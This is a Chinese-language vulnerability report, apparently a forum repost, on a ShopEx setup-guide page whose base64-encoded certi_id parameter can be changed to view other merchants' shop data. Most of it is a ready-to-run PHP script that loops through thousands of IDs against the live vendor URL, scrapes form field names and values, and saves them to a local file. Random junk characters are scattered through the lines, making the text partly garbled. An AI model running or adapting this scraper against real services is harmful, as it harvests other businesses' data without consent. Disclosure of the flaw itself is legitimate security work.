ShopEx某接口缺陷可遍历所有用户网站

admin

简要描述：
ShopEx某接口缺陷,可遍历所有网站
& ^0 K4 K6 R" a3 T% @4 x详细说明：
问题出现在shopex 网店使用向导页面



) {  V7 T0 U* Z& b9 Whttp://guide.ecos.shopex.cn/step ... WlkaWFuLmNvbVwvIn0=
; y8 x4 v0 |- V$ c- }


refer base64解密为 {"certi_id":'1051',"callback_url":"http:\/\/www.joyogame.net\/"}



. ?  e( }( g1 V; E5 e我们修改certi_id 即可遍历所有使用了ShopEx程序的网站
$ Z: o- h6 t8 j, G9 h% y. f
3 G2 P/ j! q& i5 t9 b2 r# i1 |

# T& {/ O: Q- o+ C% n<?php

                for ($i=1; $i < 10000; $i++) { //遍历

                        ShowshopExD($i);

0 t- c* G6 D3 U2 w' y) Q                }
  {4 W# _8 B4 c
                function ShowshopExD($cid) {
5 I3 ^  ]% g) V8 w
                $url='http://guide.ecos.shopex.cn/step2.php';

! W; u& `+ V1 U3 \# e, O9 d6 S                $refer = base64_encode('{"certi_id":'.intval($cid).',"callback_url":"http:\/\/www.a.com\/"}');

# J( B% f0 h! G# S( W        $url = $url.'?refer='.$refer;
! C. u( R0 u1 H2 N
" d! p' A# F. ^6 h- T% h        $ch = curl_init($url);

5 g; w; j1 d% M  X2 b' ^4 Q" J2 b        curl_setopt($ch, CURLOPT_RETURNTRANSFER, true) ;
; v$ n" n( s" d3 c/ y; @6 K
0 R/ d3 g' J7 A/ F! a9 B. g$ c        curl_setopt($ch, CURLOPT_BINARYTRANSFER, true) ;
2 H' C* ?4 d& w0 c9 N, {, U1 L; U
/ I4 S) u( r: v        $result = curl_exec($ch);

        $result = mb_convert_encoding($result, "gb2312", "UTF-8");

        if(strpos($result,$refer))
; S. y  T0 c0 s* T5 T0 I5 f
        {
2 L7 H7 t/ |' U( }, D3 z: @
                $fp = fopen("c:/shopEx.txt",'ab'); //保存文件

1 X0 U) ~5 ~1 {                        preg_match_all('/<input\stype="text"(.*?)\/>/',$result,$value);
9 |  u0 [* `5 e  n0 _
                foreach ($value[1] as $key) {

                        preg_match_all('/name="(.*?)"(.*?)value="(.*?)"/',trim($key),$res);
; d+ @+ V; F) E
! L: e' v6 l7 z                        echo $res[1][0].':'.$res[3][0]."\r\n";
( m  p7 R& ]: C( x- B( W0 ?+ q
                        $col =$res[1][0].':'.$res[3][0]."\r\n";

2 G. h0 R$ q7 ?& @6 K6 I0 `                        fwrite($fp, $col, strlen($col));

8 K1 ]6 C( T9 ~                }

                echo '--------------------------------'."\r\n";
; h: T9 Y9 t) `/ b( r
                fclose($fp);
- F1 i) }3 p8 C5 Q
        }

        flush();
2 L/ |# J( u( q# {
        curl_close($ch);
% C+ I* Z5 x' G: ^6 ?  b! d( Q8 K
                }
3 N8 q$ L( s; d7 e9 z1 B4 e
* F) u- [4 V9 {( c: I?>
' n2 c: u+ _" L4 T漏洞证明：
( i% d% o( ^3 }7 @http://www.myhack58.com/Article/UploadPic/2013-9/201392110502740490.jpg
refer换成其他加密方式
0 W6 x3 A" U0 x9 M% J2 m